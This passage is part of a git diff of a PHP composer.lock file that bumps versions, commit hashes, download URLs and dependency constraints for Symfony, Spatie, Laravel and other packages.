"orchestra/testbench": "^6.15|^7.0|^8.0|^9.0|^10.0|^11.0", + "pestphp/pest-plugin-laravel": "^1.3|^2.1|^3.1|^4.0", + "phpunit/phpunit": "^9.6|^10.5|^11.5|^12.3" }, "type": "library", "extra": { @@ -7466,7 +7534,7 @@ ], "support": { "issues": "https://github.com/spatie/laravel-schemaless-attributes/issues", - "source": "https://github.com/spatie/laravel-schemaless-attributes/tree/2.5.1" + "source": "https://github.com/spatie/laravel-schemaless-attributes/tree/2.6.0" }, "funding": [ { @@ -7478,7 +7546,7 @@ "type": "github" } ], - "time": "2025-02-10T09:28:22+00:00" + "time": "2026-02-21T15:13:56+00:00" }, { "name": "spatie/macroable", @@ -7533,29 +7601,29 @@ }, { "name": "spatie/php-structure-discoverer", - "version": "2.3.3", + "version": "2.4.0", "source": { "type": "git", "url": "https://github.com/spatie/php-structure-discoverer.git", - "reference": "552a5b974a9853a32e5677a66e85ae615a96a90b" + "reference": "9a53c79b48fca8b6d15faa8cbba47cc430355146" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/php-structure-discoverer/zipball/552a5b974a9853a32e5677a66e85ae615a96a90b", - "reference": "552a5b974a9853a32e5677a66e85ae615a96a90b", + "url": "https://api.github.com/repos/spatie/php-structure-discoverer/zipball/9a53c79b48fca8b6d15faa8cbba47cc430355146", + "reference": "9a53c79b48fca8b6d15faa8cbba47cc430355146", "shasum": "" }, "require": { - "illuminate/collections": "^11.0|^12.0", + "illuminate/collections": "^11.0|^12.0|^13.0", "php": "^8.3", "spatie/laravel-package-tools": "^1.92.7", "symfony/finder": "^6.0|^7.3.5|^8.0" }, "require-dev": { "amphp/parallel": "^2.3.2", - "illuminate/console": "^11.0|^12.0", + "illuminate/console": "^11.0|^12.0|^13.0", "nunomaduro/collision": "^7.0|^8.8.3", - "orchestra/testbench": "^9.5|^10.8", + "orchestra/testbench": "^9.5|^10.8|^11.0", "pestphp/pest": "^3.8|^4.0", "pestphp/pest-plugin-laravel": "^3.2|^4.0", "phpstan/extension-installer": "^1.4.3", @@ -7600,7 +7668,7 @@ ], "support": { "issues": "https://github.com/spatie/php-structure-discoverer/issues", - "source": "https://github.com/spatie/php-structure-discoverer/tree/2.3.3" + "source": "https://github.com/spatie/php-structure-discoverer/tree/2.4.0" }, "funding": [ { @@ -7608,20 +7676,20 @@ "type": "github" } ], - "time": "2025-11-24T16:41:01+00:00" + "time": "2026-02-21T15:57:15+00:00" }, { "name": "spatie/ray", - "version": "1.45.0", + "version": "1.47.0", "source": { "type": "git", "url": "https://github.com/spatie/ray.git", - "reference": "68920c418d10fe103722d366faa575533d26434f" + "reference": "3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/spatie/ray/zipball/68920c418d10fe103722d366faa575533d26434f", - "reference": "68920c418d10fe103722d366faa575533d26434f", + "url": "https://api.github.com/repos/spatie/ray/zipball/3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce", + "reference": "3112acb6a7fbcefe35f6e47b1dc13341ff5bc5ce", "shasum": "" }, "require": { @@ -7635,7 +7703,7 @@ "symfony/var-dumper": "^4.2|^5.1|^6.0|^7.0.3|^8.0" }, "require-dev": { - "illuminate/support": "^7.20|^8.18|^9.0|^10.0|^11.0|^12.0", + "illuminate/support": "^7.20|^8.18|^9.0|^10.0|^11.0|^12.0|^13.0", "nesbot/carbon": "^2.63|^3.8.4", "pestphp/pest": "^1.22", "phpstan/phpstan": "^1.10.57|^2.0.3", @@ -7681,7 +7749,7 @@ ], "support": { "issues": "https://github.com/spatie/ray/issues", - "source": "https://github.com/spatie/ray/tree/1.45.0" + "source": "https://github.com/spatie/ray/tree/1.47.0" }, "funding": [ { @@ -7693,7 +7761,7 @@ "type": "other" } ], - "time": "2026-01-26T18:45:30+00:00" + "time": "2026-02-20T20:42:26+00:00" }, { "name": "spatie/shiki-php", @@ -8026,16 +8094,16 @@ }, { "name": "symfony/console", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/console.git", - "reference": "41e38717ac1dd7a46b6bda7d6a82af2d98a78894" + "reference": "6d643a93b47398599124022eb24d97c153c12f27" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/console/zipball/41e38717ac1dd7a46b6bda7d6a82af2d98a78894", - "reference": "41e38717ac1dd7a46b6bda7d6a82af2d98a78894", + "url": "https://api.github.com/repos/symfony/console/zipball/6d643a93b47398599124022eb24d97c153c12f27", + "reference": "6d643a93b47398599124022eb24d97c153c12f27", "shasum": "" }, "require": { @@ -8100,7 +8168,7 @@ "terminal" ], "support": { - "source": "https://github.com/symfony/console/tree/v7.4.4" + "source": "https://github.com/symfony/console/tree/v7.4.6" }, "funding": [ { @@ -8120,20 +8188,20 @@ "type": "tidelift" } ], - "time": "2026-01-13T11:36:38+00:00" + "time": "2026-02-25T17:02:47+00:00" }, { "name": "symfony/css-selector", - "version": "v8.0.0", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/css-selector.git", - "reference": "6225bd458c53ecdee056214cb4a2ffaf58bd592b" + "reference": "2a178bf80f05dbbe469a337730eba79d61315262" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/css-selector/zipball/6225bd458c53ecdee056214cb4a2ffaf58bd592b", - "reference": "6225bd458c53ecdee056214cb4a2ffaf58bd592b", + "url": "https://api.github.com/repos/symfony/css-selector/zipball/2a178bf80f05dbbe469a337730eba79d61315262", + "reference": "2a178bf80f05dbbe469a337730eba79d61315262", "shasum": "" }, "require": { @@ -8169,7 +8237,7 @@ "description": "Converts CSS selectors to XPath expressions", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/css-selector/tree/v8.0.0" + "source": "https://github.com/symfony/css-selector/tree/v8.0.6" }, "funding": [ { @@ -8189,7 +8257,7 @@ "type": "tidelift" } ], - "time": "2025-10-30T14:17:19+00:00" + "time": "2026-02-17T13:07:04+00:00" }, { "name": "symfony/deprecation-contracts", @@ -8503,16 +8571,16 @@ }, { "name": "symfony/filesystem", - "version": "v8.0.1", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/filesystem.git", - "reference": "d937d400b980523dc9ee946bb69972b5e619058d" + "reference": "7bf9162d7a0dff98d079b72948508fa48018a770" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/filesystem/zipball/d937d400b980523dc9ee946bb69972b5e619058d", - "reference": "d937d400b980523dc9ee946bb69972b5e619058d", + "url": "https://api.github.com/repos/symfony/filesystem/zipball/7bf9162d7a0dff98d079b72948508fa48018a770", + "reference": "7bf9162d7a0dff98d079b72948508fa48018a770", "shasum": "" }, "require": { @@ -8549,7 +8617,7 @@ "description": "Provides basic utilities for the filesystem", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/filesystem/tree/v8.0.1" + "source": "https://github.com/symfony/filesystem/tree/v8.0.6" }, "funding": [ { @@ -8569,20 +8637,20 @@ "type": "tidelift" } ], - "time": "2025-12-01T09:13:36+00:00" + "time": "2026-02-25T16:59:43+00:00" }, { "name": "symfony/finder", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/finder.git", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb" + "reference": "8655bf1076b7a3a346cb11413ffdabff50c7ffcf" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/finder/zipball/ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", - "reference": "ad4daa7c38668dcb031e63bc99ea9bd42196a2cb", + "url": "https://api.github.com/repos/symfony/finder/zipball/8655bf1076b7a3a346cb11413ffdabff50c7ffcf", + "reference": "8655bf1076b7a3a346cb11413ffdabff50c7ffcf", "shasum": "" }, "require": { @@ -8617,7 +8685,7 @@ "description": "Finds files and directories via an intuitive fluent interface", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/finder/tree/v7.4.5" + "source": "https://github.com/symfony/finder/tree/v7.4.6" }, "funding": [ { @@ -8637,20 +8705,20 @@ "type": "tidelift" } ], - "time": "2026-01-26T15:07:59+00:00" + "time": "2026-01-29T09:40:50+00:00" }, { "name": "symfony/http-foundation", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/http-foundation.git", - "reference": "446d0db2b1f21575f1284b74533e425096abdfb6" + "reference": "fd97d5e926e988a363cef56fbbf88c5c528e9065" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-foundation/zipball/446d0db2b1f21575f1284b74533e425096abdfb6", - "reference": "446d0db2b1f21575f1284b74533e425096abdfb6", + "url": "https://api.github.com/repos/symfony/http-foundation/zipball/fd97d5e926e988a363cef56fbbf88c5c528e9065", + "reference": "fd97d5e926e988a363cef56fbbf88c5c528e9065", "shasum": "" }, "require": { @@ -8699,7 +8767,7 @@ "description": "Defines an object-oriented layer for the HTTP specification", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-foundation/tree/v7.4.5" + "source": "https://github.com/symfony/http-foundation/tree/v7.4.6" }, "funding": [ { @@ -8719,20 +8787,20 @@ "type": "tidelift" } ], - "time": "2026-01-27T16:16:02+00:00" + "time": "2026-02-21T16:25:55+00:00" }, { "name": "symfony/http-kernel", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/http-kernel.git", - "reference": "229eda477017f92bd2ce7615d06222ec0c19e82a" + "reference": "002ac0cf4cd972a7fd0912dcd513a95e8a81ce83" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/http-kernel/zipball/229eda477017f92bd2ce7615d06222ec0c19e82a", - "reference": "229eda477017f92bd2ce7615d06222ec0c19e82a", + "url": "https://api.github.com/repos/symfony/http-kernel/zipball/002ac0cf4cd972a7fd0912dcd513a95e8a81ce83", + "reference": "002ac0cf4cd972a7fd0912dcd513a95e8a81ce83", "shasum": "" }, "require": { @@ -8774,7 +8842,7 @@ "symfony/config": "^6.4|^7.0|^8.0", "symfony/console": "^6.4|^7.0|^8.0", "symfony/css-selector": "^6.4|^7.0|^8.0", - "symfony/dependency-injection": "^6.4|^7.0|^8.0", + "symfony/dependency-injection": "^6.4.1|^7.0.1|^8.0", "symfony/dom-crawler": "^6.4|^7.0|^8.0", "symfony/expression-language": "^6.4|^7.0|^8.0", "symfony/finder": "^6.4|^7.0|^8.0", @@ -8818,7 +8886,7 @@ "description": "Provides a structured process for converting a Request into a Response", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/http-kernel/tree/v7.4.5" + "source": "https://github.com/symfony/http-kernel/tree/v7.4.6" }, "funding": [ { @@ -8838,20 +8906,20 @@ "type": "tidelift" } ], - "time": "2026-01-28T10:33:42+00:00" + "time": "2026-02-26T08:30:57+00:00" }, { "name": "symfony/mailer", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/mailer.git", - "reference": "7b750074c40c694ceb34cb926d6dffee231c5cd6" + "reference": "b02726f39a20bc65e30364f5c750c4ddbf1f58e9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mailer/zipball/7b750074c40c694ceb34cb926d6dffee231c5cd6", - "reference": "7b750074c40c694ceb34cb926d6dffee231c5cd6", + "url": "https://api.github.com/repos/symfony/mailer/zipball/b02726f39a20bc65e30364f5c750c4ddbf1f58e9", + "reference": "b02726f39a20bc65e30364f5c750c4ddbf1f58e9", "shasum": "" }, "require": { @@ -8902,7 +8970,7 @@ "description": "Helps sending emails", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/mailer/tree/v7.4.4" + "source": "https://github.com/symfony/mailer/tree/v7.4.6" }, "funding": [ { @@ -8922,20 +8990,20 @@ "type": "tidelift" } ], - "time": "2026-01-08T08:25:11+00:00" + "time": "2026-02-25T16:50:00+00:00" }, { "name": "symfony/mime", - "version": "v7.4.5", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/mime.git", - "reference": "b18c7e6e9eee1e19958138df10412f3c4c316148" + "reference": "9fc881d95feae4c6c48678cb6372bd8a7ba04f5f" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/mime/zipball/b18c7e6e9eee1e19958138df10412f3c4c316148", - "reference": "b18c7e6e9eee1e19958138df10412f3c4c316148", + "url": "https://api.github.com/repos/symfony/mime/zipball/9fc881d95feae4c6c48678cb6372bd8a7ba04f5f", + "reference": "9fc881d95feae4c6c48678cb6372bd8a7ba04f5f", "shasum": "" }, "require": { @@ -8946,7 +9014,7 @@ }, "conflict": { "egulias/email-validator": "~3.0.0", - "phpdocumentor/reflection-docblock": "<5.2|>=6", + "phpdocumentor/reflection-docblock": "<5.2|>=7", "phpdocumentor/type-resolver": "<1.5.1", "symfony/mailer": "<6.4", "symfony/serializer": "<6.4.3|>7.0,<7.0.3" @@ -8954,7 +9022,7 @@ "require-dev": { "egulias/email-validator": "^2.1.10|^3.1|^4", "league/html-to-markdown": "^5.0", - "phpdocumentor/reflection-docblock": "^5.2", + "phpdocumentor/reflection-docblock": "^5.2|^6.0", "symfony/dependency-injection": "^6.4|^7.0|^8.0", "symfony/process": "^6.4|^7.0|^8.0", "symfony/property-access": "^6.4|^7.0|^8.0", @@ -8991,7 +9059,7 @@ "mime-type" ], "support": { - "source": "https://github.com/symfony/mime/tree/v7.4.5" + "source": "https://github.com/symfony/mime/tree/v7.4.6" }, "funding": [ { @@ -9011,7 +9079,7 @@ "type": "tidelift" } ], - "time": "2026-01-27T08:59:58+00:00" + "time": "2026-02-05T15:57:06+00:00" }, { "name": "symfony/options-resolver", @@ -10151,16 +10219,16 @@ }, { "name": "symfony/routing", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/routing.git", - "reference": "0798827fe2c79caeed41d70b680c2c3507d10147" + "reference": "238d749c56b804b31a9bf3e26519d93b65a60938" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/routing/zipball/0798827fe2c79caeed41d70b680c2c3507d10147", - "reference": "0798827fe2c79caeed41d70b680c2c3507d10147", + "url": "https://api.github.com/repos/symfony/routing/zipball/238d749c56b804b31a9bf3e26519d93b65a60938", + "reference": "238d749c56b804b31a9bf3e26519d93b65a60938", "shasum": "" }, "require": { @@ -10212,7 +10280,7 @@ "url" ], "support": { - "source": "https://github.com/symfony/routing/tree/v7.4.4" + "source": "https://github.com/symfony/routing/tree/v7.4.6" }, "funding": [ { @@ -10232,7 +10300,7 @@ "type": "tidelift" } ], - "time": "2026-01-12T12:19:02+00:00" + "time": "2026-02-25T16:50:00+00:00" }, { "name": "symfony/service-contracts", @@ -10389,16 +10457,16 @@ }, { "name": "symfony/string", - "version": "v8.0.4", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/string.git", - "reference": "758b372d6882506821ed666032e43020c4f57194" + "reference": "6c9e1108041b5dce21a9a4984b531c4923aa9ec4" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/string/zipball/758b372d6882506821ed666032e43020c4f57194", - "reference": "758b372d6882506821ed666032e43020c4f57194", + "url": "https://api.github.com/repos/symfony/string/zipball/6c9e1108041b5dce21a9a4984b531c4923aa9ec4", + "reference": "6c9e1108041b5dce21a9a4984b531c4923aa9ec4", "shasum": "" }, "require": { @@ -10455,7 +10523,7 @@ "utf8" ], "support": { - "source": "https://github.com/symfony/string/tree/v8.0.4" + "source": "https://github.com/symfony/string/tree/v8.0.6" }, "funding": [ { @@ -10475,20 +10543,20 @@ "type": "tidelift" } ], - "time": "2026-01-12T12:37:40+00:00" + "time": "2026-02-09T10:14:57+00:00" }, { "name": "symfony/translation", - "version": "v8.0.4", + "version": "v8.0.6", "source": { "type": "git", "url": "https://github.com/symfony/translation.git", - "reference": "db70c8ce7db74fd2da7b1d268db46b2a8ce32c10" + "reference": "13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/translation/zipball/db70c8ce7db74fd2da7b1d268db46b2a8ce32c10", - "reference": "db70c8ce7db74fd2da7b1d268db46b2a8ce32c10", + "url": "https://api.github.com/repos/symfony/translation/zipball/13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b", + "reference": "13ff19bcf2bea492d3c2fbeaa194dd6f4599ce1b", "shasum": "" }, "require": { @@ -10548,7 +10616,7 @@ "description": "Provides tools to internationalize your application", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/translation/tree/v8.0.4" + "source": "https://github.com/symfony/translation/tree/v8.0.6" }, "funding": [ { @@ -10568,7 +10636,7 @@ "type": "tidelift" } ], - "time": "2026-01-13T13:06:50+00:00" + "time": "2026-02-17T13:07:04+00:00" }, { "name": "symfony/translation-contracts", @@ -10732,16 +10800,16 @@ }, { "name": "symfony/var-dumper", - "version": "v7.4.4", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/var-dumper.git", - "reference": "0e4769b46a0c3c62390d124635ce59f66874b282" + "reference": "045321c440ac18347b136c63d2e9bf28a2dc0291" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/var-dumper/zipball/0e4769b46a0c3c62390d124635ce59f66874b282", - "reference": "0e4769b46a0c3c62390d124635ce59f66874b282", + "url": "https://api.github.com/repos/symfony/var-dumper/zipball/045321c440ac18347b136c63d2e9bf28a2dc0291", + "reference": "045321c440ac18347b136c63d2e9bf28a2dc0291", "shasum": "" }, "require": { @@ -10795,7 +10863,7 @@ "dump" ], "support": { - "source": "https://github.com/symfony/var-dumper/tree/v7.4.4" + "source": "https://github.com/symfony/var-dumper/tree/v7.4.6" }, "funding": [ { @@ -10815,20 +10883,20 @@ "type": "tidelift" } ], - "time": "2026-01-01T22:13:48+00:00" + "time": "2026-02-15T10:53:20+00:00" }, { "name": "symfony/yaml", - "version": "v7.4.1", + "version": "v7.4.6", "source": { "type": "git", "url": "https://github.com/symfony/yaml.git", - "reference": "24dd4de28d2e3988b311751ac49e684d783e2345" + "reference": "58751048de17bae71c5aa0d13cb19d79bca26391" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/symfony/yaml/zipball/24dd4de28d2e3988b311751ac49e684d783e2345", - "reference": "24dd4de28d2e3988b311751ac49e684d783e2345", + "url": "https://api.github.com/repos/symfony/yaml/zipball/58751048de17bae71c5aa0d13cb19d79bca26391", + "reference": "58751048de17bae71c5aa0d13cb19d79bca26391", "shasum": "" }, "require": { @@ -10871,7 +10939,7 @@ "description": "Loads and dumps YAML files", "homepage": "https://symfony.com", "support": { - "source": "https://github.com/symfony/yaml/tree/v7.4.1" + "source": "https://github.com/symfony/yaml/tree/v7.4.6" }, "funding": [ { @@ -10891,7 +10959,7 @@ "type": "tidelift" } ], - "time": "2025-12-04T18:11:45+00:00" + "time": "2026-02-09T09:33:46+00:00" }, { "name": "tijsverkoyen/css-to-inline-styles", @@ -10950,33 +11018,45 @@ }, { "name": "visus/cuid2", - "version": "4.1.0", + "version": "6.0.0", "source": { "type": "git", "url": "https://github.com/visus-io/php-cuid2.git", - "reference": "17c9b3098d556bb2556a084c948211333cc19c79" + "reference": "834c8a1c04684931600ee7a4189150b331a5b56c" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/17c9b3098d556bb2556a084c948211333cc19c79", - "reference": "17c9b3098d556bb2556a084c948211333cc19c79", + "url": "https://api.github.com/repos/visus-io/php-cuid2/zipball/834c8a1c04684931600ee7a4189150b331a5b56c", + "reference": "834c8a1c04684931600ee7a4189150b331a5b56c", "shasum": "" }, "require": { - "php": "^8.1" + "php": "^8.2", + "symfony/polyfill-php83": "^1.32" }, "require-dev": { + "captainhook/captainhook": "^5.27", + "captainhook/hook-installer": "^1.0", + "captainhook/plugin-composer": "^5.3", + "dealerdirect/phpcodesniffer-composer-installer": "^1.2", "ergebnis/composer-normalize": "^2.29", - "ext-ctype": "*", + "php-parallel-lint/php-parallel-lint": "^1.4", + "phpbench/phpbench": "^1.4", "phpstan/phpstan": "^1.9", - "phpunit/phpunit": "^10.0", - "squizlabs/php_codesniffer": "^3.7", - "vimeo/psalm": "^5.4" + "phpunit/phpunit": "^10.5", + "ramsey/conventional-commits": "^1.5", + "slevomat/coding-standard": "^8.25", + "squizlabs/php_codesniffer": "^4.0" }, "suggest": { - "ext-gmp": "*" + "ext-gmp": "Enables faster math with arbitrary precision integers using GMP." }, "type": "library", + "extra": { + "captainhook": { + "force-install": true + } + }, "autoload": { "files": [ "src/compat.php" @@ -11002,9 +11082,9 @@ ], "support": { "issues": "https://github.com/visus-io/php-cuid2/issues", - "source": "https://github.com/visus-io/php-cuid2/tree/4.1.0" + "source": "https://github.com/visus-io/php-cuid2/tree/6.0.0" }, - "time": "2024-05-14T13:23:35+00:00" + "time": "2025-12-18T14:52:27+00:00" }, { "name": "vlucas/phpdotenv", @@ -11542,16 +11622,16 @@ }, { "name": "zircote/swagger-php", - "version": "5.8.0", + "version": "5.8.3", "source": { "type": "git", "url": "https://github.com/zircote/swagger-php.git", - "reference": "9cf5d1a0c159894026708c9e837e69140c2d3922" + "reference": "098223019f764a16715f64089a58606096719c98" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/zircote/swagger-php/zipball/9cf5d1a0c159894026708c9e837e69140c2d3922", - "reference": "9cf5d1a0c159894026708c9e837e69140c2d3922", + "url": "https://api.github.com/repos/zircote/swagger-php/zipball/098223019f764a16715f64089a58606096719c98", + "reference": "098223019f764a16715f64089a58606096719c98", "shasum": "" }, "require": { @@ -11624,7 +11704,7 @@ ], "support": { "issues": "https://github.com/zircote/swagger-php/issues", - "source": "https://github.com/zircote/swagger-php/tree/5.8.0" + "source": "https://github.com/zircote/swagger-php/tree/5.8.3" }, "funding": [ { @@ -11632,7 +11712,7 @@ "type": "github" } ], - "time": "2026-01-28T01:27:48+00:00" + "time": "2026-03-02T00:47:18+00:00" } ], "packages-dev": [ @@ -12945,16 +13025,16 @@ }, { "name": "brianium/paratest", - "version": "v7.16.1", + "version": "v7.19.0", "source": { "type": "git", "url": "https://github.com/paratestphp/paratest.git", - "reference": "f0fdfd8e654e0d38bc2ba756a6cabe7be287390b" + "reference": "7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/paratestphp/paratest/zipball/f0fdfd8e654e0d38bc2ba756a6cabe7be287390b", - "reference": "f0fdfd8e654e0d38bc2ba756a6cabe7be287390b", + "url": "https://api.github.com/repos/paratestphp/paratest/zipball/7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6", + "reference": "7c6c29af7c4b406b49ce0c6b0a3a81d3684474e6", "shasum": "" }, "require": { @@ -12965,24 +13045,24 @@ "fidry/cpu-core-counter": "^1.3.0", "jean85/pretty-package-versions": "^2.1.1", "php": "~8.3.0 || ~8.4.0 || ~8.5.0", - "phpunit/php-code-coverage": "^12.5.2", - "phpunit/php-file-iterator": "^6", - "phpunit/php-timer": "^8", - "phpunit/phpunit": "^12.5.4", - "sebastian/environment": "^8.0.3", - "symfony/console": "^7.3.4 || ^8.0.0", - "symfony/process": "^7.3.4 || ^8.0.0" + "phpunit/php-code-coverage": "^12.5.3 || ^13.0.1", + "phpunit/php-file-iterator": "^6.0.1 || ^7", + "phpunit/php-timer": "^8 || ^9", + "phpunit/phpunit": "^12.5.9 || ^13", + "sebastian/environment": "^8.0.3 || ^9", + "symfony/console": "^7.4.4 || ^8.0.4", + "symfony/process": "^7.4.5 || ^8.0.5" }, "require-dev": { "doctrine/coding-standard": "^14.0.0", "ext-pcntl": "*", "ext-pcov": "*", "ext-posix": "*", - "phpstan/phpstan": "^2.1.33", + "phpstan/phpstan": "^2.1.38", "phpstan/phpstan-deprecation-rules": "^2.0.3", - "phpstan/phpstan-phpunit": "^2.0.11", - "phpstan/phpstan-strict-rules": "^2.0.7", - "symfony/filesystem": "^7.3.2 || ^8.0.0" + "phpstan/phpstan-phpunit": "^2.0.12", + "phpstan/phpstan-strict-rules": "^2.0.8", + "symfony/filesystem": "^7.4.0 || ^8.0.1" }, "bin": [ "bin/paratest", @@ -13022,7 +13102,7 @@ ], "support": { "issues": "https://github.com/paratestphp/paratest/issues", - "source": "https://github.com/paratestphp/paratest/tree/v7.16.1" + "source": "https://github.com/paratestphp/paratest/tree/v7.19.0" }, "funding": [ { @@ -13034,7 +13114,7 @@ "type": "paypal" } ], - "time": "2026-01-08T07:23:06+00:00" + "time": "2026-02-06T10:53:26+00:00" }, { "name": "daverandom/libdns", @@ -13422,16 +13502,16 @@ }, { "name": "laravel/boost", - "version": "v2.1.1", + "version": "v2.2.1", "source": { "type": "git", "url": "https://github.com/laravel/boost.git", - "reference": "1c7d6f44c96937a961056778b9143218b1183302" + "reference": "e27f1616177377fef95296620530c44a7dda4df9" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/boost/zipball/1c7d6f44c96937a961056778b9143218b1183302", - "reference": "1c7d6f44c96937a961056778b9143218b1183302", + "url": "https://api.github.com/repos/laravel/boost/zipball/e27f1616177377fef95296620530c44a7dda4df9", + "reference": "e27f1616177377fef95296620530c44a7dda4df9", "shasum": "" }, "require": { @@ -13442,7 +13522,7 @@ "illuminate/support": "^11.45.3|^12.41.1", "laravel/mcp": "^0.5.1", "laravel/prompts": "^0.3.10", - "laravel/roster": "^0.2.9", + "laravel/roster": "^0.5.0", "php": "^8.2" }, "require-dev": { @@ -13484,43 +13564,43 @@ "issues": "https://github.com/laravel/boost/issues", "source": "https://github.com/laravel/boost" }, - "time": "2026-02-06T10:41:29+00:00" + "time": "2026-02-25T16:07:36+00:00" }, { "name": "laravel/dusk", - "version": "v8.3.4", + "version": "v8.3.6", "source": { "type": "git", "url": "https://github.com/laravel/dusk.git", - "reference": "33a4211c7b63ffe430bf30ec3c014012dcb6dfa6" + "reference": "5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/dusk/zipball/33a4211c7b63ffe430bf30ec3c014012dcb6dfa6", - "reference": "33a4211c7b63ffe430bf30ec3c014012dcb6dfa6", + "url": "https://api.github.com/repos/laravel/dusk/zipball/5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa", + "reference": "5c3beee54f91f575f50cadcd7e5d44c80cc9a9aa", "shasum": "" }, "require": { "ext-json": "*", "ext-zip": "*", "guzzlehttp/guzzle": "^7.5", - "illuminate/console": "^10.0|^11.0|^12.0", - "illuminate/support": "^10.0|^11.0|^12.0", + "illuminate/console": "^10.0|^11.0|^12.0|^13.0", + "illuminate/support": "^10.0|^11.0|^12.0|^13.0", "php": "^8.1", "php-webdriver/webdriver": "^1.15.2", - "symfony/console": "^6.2|^7.0", - "symfony/finder": "^6.2|^7.0", - "symfony/process": "^6.2|^7.0", + "symfony/console": "^6.2|^7.0|^8.0", + "symfony/finder": "^6.2|^7.0|^8.0", + "symfony/process": "^6.2|^7.0|^8.0", "vlucas/phpdotenv": "^5.2" }, "require-dev": { - "laravel/framework": "^10.0|^11.0|^12.0", + "laravel/framework": "^10.0|^11.0|^12.0|^13.0", "mockery/mockery": "^1.6", - "orchestra/testbench-core": "^8.19|^9.17|^10.8", + "orchestra/testbench-core": "^8.19|^9.17|^10.8|^11.0", "phpstan/phpstan": "^1.10", "phpunit/phpunit": "^10.1|^11.0|^12.0.1", "psy/psysh": "^0.11.12|^0.12", - "symfony/yaml": "^6.2|^7.0" + "symfony/yaml": "^6.2|^7.0|^8.0" }, "suggest": { "ext-pcntl": "Used to gracefully terminate Dusk when tests are running." @@ -13556,22 +13636,22 @@ ], "support": { "issues": "https://github.com/laravel/dusk/issues", - "source": "https://github.com/laravel/dusk/tree/v8.3.4" + "source": "https://github.com/laravel/dusk/tree/v8.3.6" }, - "time": "2025-11-20T16:26:16+00:00" + "time": "2026-02-10T18:14:59+00:00" }, { "name": "laravel/mcp", - "version": "v0.5.5", + "version": "v0.5.9", "source": { "type": "git", "url": "https://github.com/laravel/mcp.git", - "reference": "b3327bb75fd2327577281e507e2dbc51649513d6" + "reference": "39e8da60eb7bce4737c5d868d35a3fe78938c129" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/mcp/zipball/b3327bb75fd2327577281e507e2dbc51649513d6", - "reference": "b3327bb75fd2327577281e507e2dbc51649513d6", + "url": "https://api.github.com/repos/laravel/mcp/zipball/39e8da60eb7bce4737c5d868d35a3fe78938c129", + "reference": "39e8da60eb7bce4737c5d868d35a3fe78938c129", "shasum": "" }, "require": { @@ -13631,20 +13711,20 @@ "issues": "https://github.com/laravel/mcp/issues", "source": "https://github.com/laravel/mcp" }, - "time": "2026-02-05T14:05:18+00:00" + "time": "2026-02-17T19:05:53+00:00" }, { "name": "laravel/pint", - "version": "v1.27.0", + "version": "v1.27.1", "source": { "type": "git", "url": "https://github.com/laravel/pint.git", - "reference": "c67b4195b75491e4dfc6b00b1c78b68d86f54c90" + "reference": "54cca2de13790570c7b6f0f94f37896bee4abcb5" }, "dist": { "type": "zip", - "url": "https://api.github.com/repos/laravel/pint/zipball/c67b4195b75491e4dfc6b00b1c78b68d86f54c90", - "reference": "c67b4195b75491e4dfc6b00b1c78b68d86f54c90", + "url": "https://api.github.com/repos/laravel/pint/zipball/54cca2de13790570c7b6f0f94f37896bee4abcb5", + "reference": "54cca2de13790570c7b6f0f94f37896bee4abcb5", "shasum": "" }, "require": { @@ -13655,13 +13735,13 @@ "php": "^8.2.0" }, "require-dev": { - "friendsofphp/php-cs-fixer": "^3.92.4", - "illuminate/view": "^12.44.0", - "larastan/larastan": "^3.8.1", - "laravel-zero/framework": "^12.0.4", + 